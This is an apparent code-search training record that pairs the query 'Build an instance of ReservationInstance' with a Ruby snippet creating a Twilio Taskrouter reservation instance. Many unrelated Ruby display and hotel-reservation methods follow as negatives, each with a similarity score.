"def show\n\t\t@attrib_keys = [\"desc\", \"higher_level\", \"range\", \"components\", \"material\", \"ritual\", \"duration\", \"concentration\", \"casting_time\", \"level\", \"school\", \"class_names\", \"archetype\", \"domains\", \"oaths\", \"circles\", \"patrons\"]\n\tend",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def inspect_details\n ''\n end",
"def inspect\n \"#<#{self.class} ##{id} #{name} (#{slug})>\"\n end",
"def display_quick\r\n s = ''\r\n for i in @me.keys\r\n s << \" <b>#{i}.</b><br/>\" # country\r\n for j in @me[i].keys\r\n s << \" <b>#{j}:</b><br/>\" if not j == 'unknown' # state\r\n for k in @me[i][j].keys\r\n s << \" #{k}<br/>\" if not k == 'unknown' # county\r\n for l in @me[i][j][k].keys\r\n s << (\" \" + (l == 'unknown' ? \"<i>repository not given</i>\" : \" #{l}\") + \"<br/>\") if not l == nil # repository\r\n s << \" \" + @me[i][j][k][l].keys.collect{|m| \r\n (\"#{@me[i][j][k][l][m]} \" +\r\n case m # the count\r\n when 'female'\r\n \"♀\"\r\n when 'male'\r\n \"♂\"\r\n when 'gynadropmorph'\r\n \"[♀♂]\"\r\n else\r\n \"unknown sex\"\r\n end)}.join(\",\") \r\n s << \"<br/>\" \r\n end\r\n end\r\n end\r\n end\r\n s.html_safe\r\n end",
"def details\n return @description + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end",
"def to_s\n super\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n\t\t\tstr = super() + \"\\n\"\n\t\t\tstr += \"\\tAppaleable? #{appaleable}\\n\" if appaleable\n\t\t\tstr += \"\\tDisapproved text: #{disapproved_text}\\n\" if disapproved_text\n\t\t\tstr += \"\\tLocation: #{location}\\n\" if location\n\t\t\tstr += \"\\tDisapproved text: #{disapproved_text}\\n\" if disapproved_text\n\t\t\tstr += \"\\tReason code: #{reason_code} (see: http://msdn.microsoft.com/en-US/library/bing-ads-editorialfailurereasoncodes.aspx)\\n\" if reason_code\n\n\t\tend",
"def display_data\n\t\t\t\"#{@model} #{@color} #{@horsepower} #{@year} #{@brand} #{@mpg}\"\n\t\tend",
"def to_s\n \"\\n\\tTitle: #{@title}\\n\n \\tAuthor: #{@author}\\n\n \\tUrl: #{@url}\\n\\n\"\n end",
"def inspect\n to_s.inspect\n end",
"def details\n data()\n end",
"def details\n\n return @description + \"; \" + @firstname + \"; \" + @lastname + \": \" + @dob + \": \"+ @address + \": \"+ @phone + \": \" + \"#{@infection}\"\n\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def show\n raise NotImplementedError\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def inspect\n\t\tparts = []\n\t\tparts << self.one_of_description\n\t\tparts << self.all_of_description\n\t\tparts << self.none_of_description\n\t\tparts.compact!\n\n\t\tstr = \"#<%p:%#0x matching entities\" % [ self.class, self.object_id * 2 ]\n\t\tif parts.empty?\n\t\t\tstr << \" with any components\"\n\t\telse\n\t\t\tstr << parts.join( ', ' )\n\t\tend\n\t\tstr << \">\"\n\n\t\treturn str\n\tend",
"def inspect\n to_s\n end",
"def description\n return summary\n end",
"def details\n return @description + \"; \" + @doctorname + \"; \" + @medicine + \": \" + \"#{@cost}\"\n end",
"def details\n return \"ID = #{@id}\\n\" + \n \"Name = #{@name}\\n\" + \n \"Topic = #{@topic}\\n\" + \n \"Member Count = #{@member_count}\"\n end",
"def description\n name + ': ' + resource_type.to_s + ' | Sueldo: ' + salary.to_s +\n ' | Experiencia: ' + experience.to_s + ' años'\n end",
"def show\n\t\traise NotImplementedError, \"FIXME: Implement showing comments.\"\n\tend",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect\n \"#{self.class}<#{@description.inspect}>\"\n end",
"def description\n end",
"def description\n end",
"def details\n return \" #{@description}, #{@lastname}, #{@date}. #{@start}, #{@hours}, #{@players}, #{@zone}. #{@cost}\"\n end",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def details\n return @description + \"; \" + @manufacturer + \"; \" + @color + \": \" + \"#{@cost}\"\n end",
"def to_s\n \"#{self.title} - #{self.author} - #{self.date}\"\n end",
"def details\r\n return @description + \": \" + \". \" + @basic_profile.details\r\n end",
"def show\n #not needed for our implementation\n end",
"def to_s\n super\n end",
"def modeler_description\n return 'Gather orientation and story specific construction, fenestration (including overhang) specific information'\n end",
"def details_partial_for(o)\n \"#{o.class.name.underscore}s/details\"\n end",
"def display\n puts \"Personal Details\"\n puts \" Name : #{self.name}\"\n puts \" Date of Birth : #{self.dob}\"\n puts \" Marital Status : #{self.marital_status}\"\n puts \" Mobile Number : #{self.mobile_number}\"\n puts \" Email : #{self.email}\"\n end",
"def detail\n attributes.fetch(:detail)\n end",
"def detail\n attributes.fetch(:detail)\n end"
] |
[
"0.68170065",
"0.68142146",
"0.6758589",
"0.6718451",
"0.66697186",
"0.6655344",
"0.6632312",
"0.66273594",
"0.6550127",
"0.65188134",
"0.6497969",
"0.6480078",
"0.6477721",
"0.6472211",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64367676",
"0.6434794",
"0.63974625",
"0.6391661",
"0.6385164",
"0.63826483",
"0.63826483",
"0.63621265",
"0.63584715",
"0.6352767",
"0.6347243",
"0.6345342",
"0.63338625",
"0.6325844",
"0.6320725",
"0.6320725",
"0.6316434",
"0.6311974",
"0.6311425",
"0.63111603",
"0.6307294",
"0.63050634",
"0.6301272",
"0.62848294",
"0.627871",
"0.6277492",
"0.62770176",
"0.6274702",
"0.6274702",
"0.62604547",
"0.62543267",
"0.6251651",
"0.625114",
"0.62487584",
"0.62225854",
"0.6214293",
"0.6214293",
"0.6212906",
"0.62095803",
"0.62095803",
"0.62095803",
"0.62095803",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6200787",
"0.6198166",
"0.61830676",
"0.6179759",
"0.617746",
"0.61753553",
"0.61619484",
"0.6157944",
"0.61527485",
"0.615132",
"0.615132",
"0.61505795",
"0.6144682",
"0.6144682",
"0.6144682",
"0.6144682",
"0.61351794",
"0.6133033",
"0.61300874",
"0.61294436",
"0.61242044",
"0.6121309",
"0.61148214",
"0.61109483",
"0.6108956",
"0.6108956"
] |
0.0
|
-1
|
Build an instance of ReservationInstance
|
def get_instance(payload)
ReservationInstance.new(@version, payload, workspace_sid: @solution[:workspace_sid], worker_sid: @solution[:worker_sid])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_reservation\n #@reservation = Reservation.new\n end",
"def new\n @reserve = Reservation.new\n end",
"def new\n\t\t@reservation = Reservation.new\n\tend",
"def create_reservation(guest_id:, room_id:, start_date:, end_date:)\n Reservation.new(\n guest_id: guest_id,\n room_id: room_id,\n start_date: start_date,\n end_date: end_date\n )\n end",
"def make_resevation(date_range)\n available_rooms = get_available_rooms(date_range)\n if available_rooms.length < 1\n raise ArgumentError\n end\n new_reservation = Hotel::Reservation.new(date_range,available_rooms[0])\n @reservations << new_reservation\n return new_reservation\n end",
"def make_reservation(range)\n\t\t\troom = room_finder(range).first\n\t\t\tnew_reservation = Hotel::Reservation.new(room, range)\n\t\t\t@reservations << new_reservation\n\t\t\troom.reservations << new_reservation\n\n\t\t\treturn new_reservation\n\t\tend",
"def create_reservation(room_number, check_in, check_out)\n return Reservation.new(room_number, check_in, check_out)\n end",
"def make_room_reservation(test_range, room)\n overlapping = self.list_room_reservations(room, test_range)\n if overlapping.length != 0\n raise ArgumentError.new(\"room not available in that date range\")\n else\n new_res = Reservation.new(date_range: test_range, room: room)\n @reservations << new_res\n return new_res\n end\n end",
"def reserve_room(start_date, end_date)\n if start_date.class != Date || end_date.class != Date\n raise ArgumentError.new(\"Please input valid dates\")\n else\n reservation = Reservation.new(start_date, end_date)\n @reservations << reservation\n return reservation\n end\n end",
"def make_reservation(cost_per_night, check_in, check_out)\n available_rooms = list_available_rooms(Hotel::DateRange.new(check_in, check_out))\n if available_rooms.empty?\n raise StandardError, \"There's no room in the inn\"\n end\n room_number = available_rooms.sample[:room_number]\n reservation = Hotel::Reservation.new(room_number, cost_per_night, check_in, check_out)\n @reservations << reservation\n return reservation\n end",
"def reserve(*args)\n @reservations << Reservation.new(self, *args)\n end",
"def create_reservations\n Time.use_zone(@timezone) do\n @reservations = build_reservations\n return nil unless @reservations.any?\n @reservations = commit_reservations(@reservations)\n return nil unless valid? && @reservations.all?(&:persisted?)\n charge(@reservations) && @reservations.each(&:reload) if @pay\n track(@reservations)\n\n @reservations\n end\n end",
"def _create_resevation(base, subject, owner)\n\t\t\t\t\t\n\t\t\t\t\t# Create reservation\n\t\t\t\t\treservation = RicReservation.reservation_model.new\n\t\t\t\t\treservation.kind = \"event\"\n\t\t\t\t\treservation.event = self\n\t\t\t\t\treservation.date_from = base\n\t\t\t\t\treservation.date_to = base + (self.date_to - self.date_from).to_i.days\n\t\t\t\t\treservation.time_from = self.time_from\n\t\t\t\t\treservation.time_to = self.time_to\n\n\t\t\t\t\t# Bind subject\n\t\t\t\t\tif !subject.nil?\n\t\t\t\t\t\treservation.size = subject.size\n\t\t\t\t\t\treservation.subject = subject\n\t\t\t\t\telse\n\t\t\t\t\t\treservation.size = self.default_reservation_size\n\t\t\t\t\tend\n\n\t\t\t\t\t# Bind owner\n\t\t\t\t\tif !owner.nil?\n\t\t\t\t\t\treservation.owner_name = owner.name if !owner.name.nil?\n\t\t\t\t\t\treservation.owner = owner if owner.is_a?(ActiveRecord::Base) # In case owner is not ActiveRecord, only name can be stored\n\t\t\t\t\tend\n\n\t\t\t\t\treturn reservation\n\t\t\t\tend",
"def new\n render locals: {\n reservation: current_resident.reservations.new(\n room_id: @room.id,\n starts_at: datetime_from_param(params)\n )\n }\n end",
"def initialize\n @rooms = list_rooms\n @reservations = []\n end",
"def build_reservations\n # IMPORTANT: .take_matching_resell should be called before validations\n reservations = @bookings.map { |booking| Reservation.new(booking).take_matching_resell }\n all_valid = reservations.all? { |reservation| reservation.valid? }\n all_valid ? group_bookings.map { |booking| Reservation.new(booking).take_matching_resell } : reservations\n end",
"def show\n @reservation = Reservation.new\n end",
"def create_reservation(guest, room, party_size)\n if (!is_room_available?(room, party_size)) || (!guest.can_afford_to_pay?(@booking_fee))\n return nil\n end\n guest.pay(@booking_fee)\n @till += @booking_fee\n new_reservation = Reservation.new(guest, room, party_size)\n @reservations << new_reservation\n return \"Thanks, your reservation is held under #{new_reservation.guest.name}\"\n end",
"def new\n @pack = @reservation.pack\n end",
"def show\n @reservation = Reservation.new\n end",
"def show\n @reservation = Reservation.new\n end",
"def initialize\n @reservations_list = []\n @block_list = []\n @all_rooms = []\n make_hotel_rooms\n end",
"def initialize\n @reservations = {}\n @lockers = Lockerz::Lockers.new\n end",
"def new\n unless r = params['reservation-times'] || session['reservation-times']\n return select_times_first\n end\n resource_id = r.keys.first\n sll_times = r[resource_id] \n return select_times_first if sll_times.blank?\n\n @reservation = Reservation.new({ \n :start_datetime => Time.parse(sll_times.first), \n :end_datetime => Time.parse(sll_times.last) + 1.hour,\n :resource_id => resource_id\n })\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def make_reservation(check_in, check_out, rooms)\n unavailable_rooms = []\n\n if room_flagged_available?(check_in, check_out, rooms, unavailable_rooms)\n @reservations.push(Reservation.new(check_in, check_out, rooms))\n else\n raise ArgumentError.new(\"Room: #{unavailable_rooms} not available\")\n end\n end",
"def create_reservation(base = self.date_from, subject = nil, owner = nil)\n\t\t\t\t\t\n\t\t\t\t\t# Create reservation\n\t\t\t\t\treservation = _create_resevation(base, subject, owner)\n\n\t\t\t\t\t# Store\n\t\t\t\t\treservation.save\n\n\t\t\t\t\treturn reservation\n\t\t\t\tend",
"def new_reservation(room, checkin_date, checkout_date)\n (checkin_date...checkout_date).each do |day|\n if !room.is_available?(day)\n raise ArgumentError.new(\"Room#{room.room_num} is not available\")\n end\n end\n reservation = BookingSystem::Reservation.new(room: room, checkin_date: checkin_date, checkout_date: checkout_date)\n add_reservation(reservation)\n room.add_reservation(reservation)\n end",
"def _create_reservation(subject, owner = nil)\n\t\t\t\t\t\n\t\t\t\t\t# Create reservation\n\t\t\t\t\treservation = RicReservation.reservation_model.new\n\t\t\t\t\treservation.kind = \"resource\"\n\t\t\t\t\treservation.resource = self\n\n\t\t\t\t\t# Bind subject\n\t\t\t\t\treservation.date_from = subject.date_from\n\t\t\t\t\treservation.time_from = subject.time_from\n\t\t\t\t\treservation.date_to = subject.date_to\n\t\t\t\t\treservation.time_to = subject.time_to\n\t\t\t\t\treservation.subject = subject\n\t\t\t\t\t\n\t\t\t\t\t# Bind owner\n\t\t\t\t\tif !owner.nil?\n\t\t\t\t\t\treservation.owner_name = owner.name if !owner.name.nil?\n\t\t\t\t\t\treservation.owner = owner if owner.is_a?(ActiveRecord::Base) # In case owner is not ActiveRecord, only name can be stored\n\t\t\t\t\tend\n\n\t\t\t\t\treturn reservation\n\t\t\t\tend",
"def create_reservation(user:, hotel:)\n reservation = Reservation.new(\n user: user,\n hotel: hotel,\n arrival_time: Time.new(2000, 1, 1, 15, 0, 0, \"+00:00\").utc,\n departure_time: Time.new(2000, 1, 1, 11, 0, 0, \"+00:00\").utc,\n check_in_date: Date.today + rand(0..10),\n reservation_number: rand(5555..9999),\n number_of_guests: rand(1..3),\n purpose: %w[travel work leisure].sample,\n channel: %w[website airbnb booking.com].sample,\n room_number: \"#{rand(1..4)}0#{rand(1..3)}\".to_i\n )\n reservation.check_out_date = reservation.check_in_date + rand(1..5)\n reservation.save\nend",
"def to_s\n values = @params.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Taskrouter.V1.ReservationInstance #{values}>\"\n end",
"def call(params)\n payload = build_payload(params)\n result = http.post(endpoint(:property_booking), payload, content_type)\n\n if result.success?\n result_hash = response_parser.to_hash(result.value.body)\n\n if valid_result?(result_hash)\n reservation = SAW::Mappers::Reservation.build(params, result_hash)\n\n Result.new(reservation)\n else\n error_result(result_hash, result.value.body)\n end\n else\n result\n end\n end",
"def make_reservation(checkin_date, checkout_date, num_rooms = 1, room_block_discount = 1)\n\n num_rooms = num_rooms.to_i\n\n if num_rooms > 2 && num_rooms < 5\n return make_room_block(checkin_date, checkout_date, num_rooms)\n elsif num_rooms > 5\n raise ArgumentError.new(\"Room blocks of more than 5 are not allowed. Please split up reservations.\") if num_rooms > 5\n elsif num_rooms <= 0\n raise ArgumentError.new(\"Please enter room numbers larger than 0.\") if num_rooms\n end\n\n range = (Date.parse(checkin_date)..Date.parse(checkout_date)).to_a\n room = find_available_room(range)\n\n input = parse_reservation_data(checkin_date, checkout_date, room, room_block_discount)\n reservation = Hotel::Reservation.new(input)\n\n add_reservation_to_list(reservation)\n return reservation\n end",
"def reserve_room(start_date, end_date) \n \n current_room = ()\n if @reservation_list.empty? == true\n current_room = rooms.shift\n elsif @reservation_list.empty? == false\n @reservation_list.include?(start_date)\n count = @reservation_list.count(start_date)\n current_room = rooms[count - 1]\n end\n \n \n room = current_room\n range = Hotel::DateRange.new(start_date, end_date)\n start_date = range.start_date\n end_date = range.end_date\n nights = range.nights\n \n # if the range has overlapping dates, then it will return true\n # if the range returns true \n \n reservation = Reservation.new(start_date, end_date, nights, room)\n \n # if @reservations_list.overlap?(range)\n # raise ArgumentError.new\n # end\n \n @reservation_list << reservation\n return reservation\n end",
"def instantiate(params)\n instance = Instance.new( *interpolate(params), @parent )\n # instance.apply_resource_type # TODO: do we need apply_security_scheme?\n instance\n end",
"def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Taskrouter.V1.ReservationInstance #{values}>\"\n end",
"def create_new_booking_oct(customer, space)\n new_booking = Booking.new\n new_booking.user = customer\n new_booking.space = space\n new_booking.date_start = DateTime.strptime(\"10/14/2019\", \"%m/%d/%Y\")\n new_booking.date_end = DateTime.strptime(\"10/14/2019\", \"%m/%d/%Y\")\n return new_booking\nend",
"def reserve_room(start_date, end_date)\n requested_range = DateRange.new(start_date: start_date, end_date: end_date)\n reservable_rooms = available_rooms(requested_range)\n chosen_room = nil\n\n # pick first room in list of open rooms\n if reservable_rooms.length == 0\n raise ArgumentError.new(\"There are no open rooms available between the dates #{start_date} and #{end_date}. Please try another date range.\")\n else \n chosen_room = reservable_rooms.first \n end \n\n # create a unique id \n if @reservations.length == 0 \n new_res_id = 1\n else \n new_res_id = @reservations.last.id + 1\n end \n\n # create a new reservation \n new_reservation = Hotel::Reservation.new(id: new_res_id, room_num: chosen_room, start_date: start_date, end_date: end_date)\n\n # update @reservations \n update_reservations_list(new_reservation)\n end",
"def reserve_room(check_in, check_out)\n dates = date_range(check_in, check_out)\n new_reservation = nil\n @rooms.each do |room|\n if is_available?(room, dates) && is_not_blocked?(room, dates)\n new_reservation = Reservation.new(room, check_in, check_out)\n new_reservation.id = assign_res_id\n @reservations << new_reservation\n break\n end\n end\n if new_reservation != nil\n return new_reservation\n else\n raise StandardError, 'no rooms available in date range'\n end\n end",
"def create_reservation_within_block(start_date, end_date, block_id)\n rooms_available = check_availability_within_block(start_date, end_date, block_id)\n room_instances_for_reservation = rooms_available.map {|id| @blocks.find }\n\n\n new_block_reservation = create_reservation_basic(start_date, end_date, rooms_available)\n return new_block_reservation\n end",
"def initialize\n @rooms = make_rooms\n @reservations = []\n @blocks = []\n end",
"def create\n reservation = project.reservations.build(reservation_params)\n if reservation.save\n reservation.create_notification\n reservation.create_chat_room\n redirect_to active_reservation_path(current_user, reservation), notice: '予約が完了いたしました'\n else\n render :new, locals: { new_reservation: reservation }\n end\n end",
"def add_reservation(room, checkin_date, checkout_date)\n\n unless @all_rooms.include?(room)\n raise ArgumentError, \"There is no room #{room} available\"\n end\n\n unless check_availability(checkin_date, checkout_date).include?(room)\n raise ArgumentError, \"That room is already reserved\"\n end\n \n reservation = Hotel::Reservation.new(room, checkin_date, checkout_date, @room_rate)\n @all_reservations << reservation\n\n return reservation\n end",
"def context\n unless @instance_context\n @instance_context = ReservationContext.new(@version , @params['workspace_sid'], @params['worker_sid'], @params['sid'])\n end\n @instance_context\n end",
"def reservations\n @reservations ||= flight.reservations\n end",
"def set_reservation\n @apartment = Apartment.find(params[:apartment_id])\n @reservation = Reservation.find(params[:id]) if params[:id]\n end",
"def create\n reservation = current_resident.reservations.new(reservation_attributes)\n\n if DebitReservation.new(reservation).create\n opts = { room_slug: reservation.room.to_slug }\n opts = opts.merge(date_to_param(reservation.starts_at))\n redirect_to room_calendars_path(opts)#,\n else\n render :new, locals: { reservation: reservation }\n end\n end",
"def create_reservation(subject, owner = nil)\n\t\t\t\t\t\n\t\t\t\t\t# Create reservation\n\t\t\t\t\treservation = _create_reservation(subject, owner)\n\n\t\t\t\t\t# Store\n\t\t\t\t\treservation.save\n\n\t\t\t\t\treturn reservation\n\t\t\t\tend",
"def create\n reservation_id = SecureRandom.uuid\n\n Reservation::Worker::Process.perform_async(reservation_id, Time.zone.now.to_i, reservation_params)\n\n render json: { reservation_id: reservation_id }, status: 200\n end",
"def initialize_reservation_service\n @reservation_service = ReservationService.new(reservation_params,\n user: current_user, \n category: params[:category]) \n end",
"def request_reservation_within_block(id)\n block_reservation = find_reservation_by_id(id)\n\n id = block_reservation.reservations.length + 1\n room = block_reservation.rooms_available.sample\n raise ArgumentError, \"no rooms available\" if room.nil?\n\n new_reservation = Reservation.new(id, room, block_reservation.start_date,\n block_reservation.end_date, room_cost: 150)\n\n add_reservation(new_reservation,\n reservation_location: block_reservation.reservations)\n # deletes room number from available_rooms\n block_reservation.rooms_available.delete(new_reservation.room)\n\n return new_reservation\n end",
"def reservations(base = self.date_from)\n\t\t\t\t\t@reservations = {} if @reservations.nil?\n\t\t\t\t\tif @reservations[base.to_s].nil?\n\t\t\t\t\t\t@reservations[base.to_s] = RicReservation.reservation_model.event(self, base)\n\t\t\t\t\tend\n\t\t\t\t\treturn @reservations[base.to_s]\n\t\t\t\tend",
"def initialize\n @reservations = {}\n @secret = HelperFunctions.get_secret()\n end",
"def new\n @listing = Listing.find(params[:listing_id])\n @reservation = Reservation.new\n end",
"def run\n if params[:instance_id]\n params[:filter] ||= []\n params[:filter] << { name: 'instance-id', value: params[:instance_id] }\n end\n result = generate_result(\n reservation_set: reservations.itemize\n )\n result\n end",
"def add_reservation(room_selection, check_in, check_out)\n # self.add_block()\n # self.add_reservation_to_block()\n @reservations << Hotel::Reservation.new(room_selection, check_in, check_out)\n end",
"def validate_reservation(base = self.date_from, subject = nil, owner = nil)\n\t\t\t\t\t\n\t\t\t\t\t# Create reservation\n\t\t\t\t\treservation = _create_resevation(base, subject, owner)\n\n\t\t\t\t\t# Validate\n\t\t\t\t\treservation.valid?\n\n\t\t\t\t\treturn reservation\n\t\t\t\tend",
"def load_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def reservation_params\n params.require(:reservation).permit(:start_at, :end_at, :usage)\n end",
"def create()\n instance = create_instance()\n set_instance_properties(instance)\n create_instance_children(instance)\n return instance\n end",
"def new\n @page_title = \"Archives Report Setup\"\n @reservation = Reservation.new :startdate => currentDate.beginning_of_year, :enddate => currentDate.beginning_of_month\n end",
"def create\n @reservation = V2::Reservation.new(reservation_params)\n if @reservation.save\n flash[:notice] = \"An interview has been booked for #{@reservation.time_slot.start_datetime_human}\"\n send_notifications(@reservation)\n else\n flash[:error] = \"No time slot was selected, couldn't create the reservation\"\n end\n @available_time_slots = []\n @person = @reservation.person\n respond_to do |format|\n format.js {}\n format.html { render :new }\n end\n end",
"def initialize(room_number, reservations)\n @room_number = room_number.to_i\n if room_number.between?(1,20) == false\n raise ArgumentError, \"Room id must be between 1 and 20. Given #{room_number}.\"\n end\n @reservations = reservations\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @room = Room.where(\"room_number LIKE ?\", @reservation.room_number)\n if session[:role] != \"admin\"\n @member = Member.where(\"email LIKE ?\", session[:email])\n else\n @member = Member.where(\"email LIKE ?\", params[:members_email])\n if @member.nil? or @member.empty?\n flash[:notice] = \"Member not found !\"\n render 'reservations/newreservation' and return\n end\n end\n @current_reservations = Reservation.where(\"room_number LIKE ? and ? <= end_time and start_time <= ? \", @reservation.room_number,\n @reservation.start_time, @reservation.end_time)\n if not @current_reservations.nil? and not @current_reservations.empty?\n flash[:notice] = \"This room is not available at this time. Conflicts with other reservation which starts at #{@current_reservations.first.start_time} \"\n render 'reservations/newreservation' and return\n end\n\n\n if @reservation.start_time > @reservation.end_time\n flash[:notice] = \"ERROR: Booking start time can't be greater than end time\"\n render 'reservations/newreservation' and return\n end\n\n if @reservation.start_time + 2.hours < @reservation.end_time\n flash[:notice] = \"ERROR : Reservation can be made only for 2 hours at a time\"\n render 'reservations/newreservation' and return\n end\n\n if Time.now + 7.days < @reservation.start_time\n flash[:notice] = \"ERROR : Reservation can be made only 1 week in advance from today\"\n render 'reservations/newreservation' and return\n end\n\n if @reservation.start_time == @reservation.end_time\n flash[:notice] = \"ERROR: Please book the room for atleast 1 minute!\"\n render 'reservations/newreservation' and return\n end\n\n if @reservation.start_time > @reservation.end_time\n flash[:notice] = \"ERROR: Booking start time can't be greater than end time\"\n render 'reservations/newreservation' and return\n end\n\n if Time.now - 5.minutes >= @reservation.start_time\n flash[:notice] = \"ERROR: Booking start time should not be less than current time\"\n render 'reservations/newreservation' and return\n end\n\n #User can only reserve one room at a perticular date and time without extra permission from admin\n @user_reservations = Reservation.where(\"members_id = ? and ? <= end_time and start_time <= ? \", @member.first.id,\n @reservation.start_time, @reservation.end_time)\n if not @user_reservations.empty? and @member.first.isMultipleReservationAllowed != \"Yes\"\n flash[:notice] = \"ERROR : You already have reservation from #{@reservation.start_time} to #{@reservation.end_time} .\n You can't book room during this time interval. Contact Administrator if you want to book multiple rooms with\n overlapping time intervals\"\n render 'reservations/newreservation' and return\n end\n\n @reservation.room_id = @room.first.id\n @reservation.status = \"Booked\"\n @member.first.reservations << @reservation\n SendEmail.reservation_email(@member.first, @reservation).deliver\n\n\n respond_to do |format|\n if @member.first.save\n @member.first.reservations.each do |res|\n end\n\n format.html { redirect_to @reservation, notice: 'Reservation was successfully created.' and return }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n\n if @reservation.save\n render :show, status: :created, location: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.user_by_token(request.cookies[\"token\"])\n return unless valid_form?\n\n @reservation = Reservation.new(reservation_params)\n @reservation.user = @user\n\n render json: { error: \"The time selected is not available.\" }, status: :unauthorized and return unless valid_time?\n render json: { error: \"Reservation time too long.\" }, status: :unauthorized and return false unless valid_length?\n unless valid_vaccine?\n render json: { error: \"You must be vaccinated to use this amenity.\" }, status: :unauthorized and return false\n end\n\n save_reservation\n end",
"def set_reservation\n @reservation = Reservation.find_by(id: params[:id])\n end",
"def create_instance(supervisor)\n Instance.new(supervisor, self, get_instance_id)\n end",
"def validate_reservation(subject, owner = nil)\n\n\t\t\t\t\t# Create reservation\n\t\t\t\t\treservation = _create_reservation(subject, owner)\n\n\t\t\t\t\t# Validate\n\t\t\t\t\treservation.valid?\n\n\t\t\t\t\treturn reservation\n\t\t\t\tend",
"def request_reservation(check_in, check_out, block_name: nil, booking_name:, discount: nil)\n # checks for available rooms\n rooms = available_rooms(check_in, check_out)\n\n # raises an ArgumentError if no rooms are available\n raise ArgumentError, \"No available rooms\" if rooms.length == 0\n\n # creates a reservation\n reservation = Hotel::Reservation.new(check_in: check_in,\n check_out: check_out,\n room: rooms.first,\n block_name: block_name,\n booking_name: booking_name,\n discount: discount)\n\n # adds reservation to list of all reservations\n reservations << reservation\n\n # add reservation to corresponding room\n rooms.first.add_reservation(reservation)\n return reservation\n end",
"def create\n space = Space.find(params[:space_id])\n group = Group.find(space.group_id)\n group_member_ids = Member.where(group_id: group.id).pluck(:user_id)\n unless group_member_ids.include?(@current_user.id)\n return render json: { message: \"You are not permitted to perform this operation.\" }, status: :forbidden\n end\n @reservation = Reservation.new(reservation_params)\n\n if @reservation.save\n render json: @reservation, status: :created\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end"
] |
[
"0.74287575",
"0.74072343",
"0.7145606",
"0.693043",
"0.69267935",
"0.6905704",
"0.6877023",
"0.6496482",
"0.64404047",
"0.6426042",
"0.64192414",
"0.62462634",
"0.61453587",
"0.61143494",
"0.6091121",
"0.6047725",
"0.60467935",
"0.6038181",
"0.6024694",
"0.60130376",
"0.60130376",
"0.5987024",
"0.59325284",
"0.59287375",
"0.59150445",
"0.58621776",
"0.58615565",
"0.58426094",
"0.5824399",
"0.57817495",
"0.5775507",
"0.57709295",
"0.5751327",
"0.5739725",
"0.5703839",
"0.5678404",
"0.56721175",
"0.5671804",
"0.5665766",
"0.5657835",
"0.56557506",
"0.56499124",
"0.5632939",
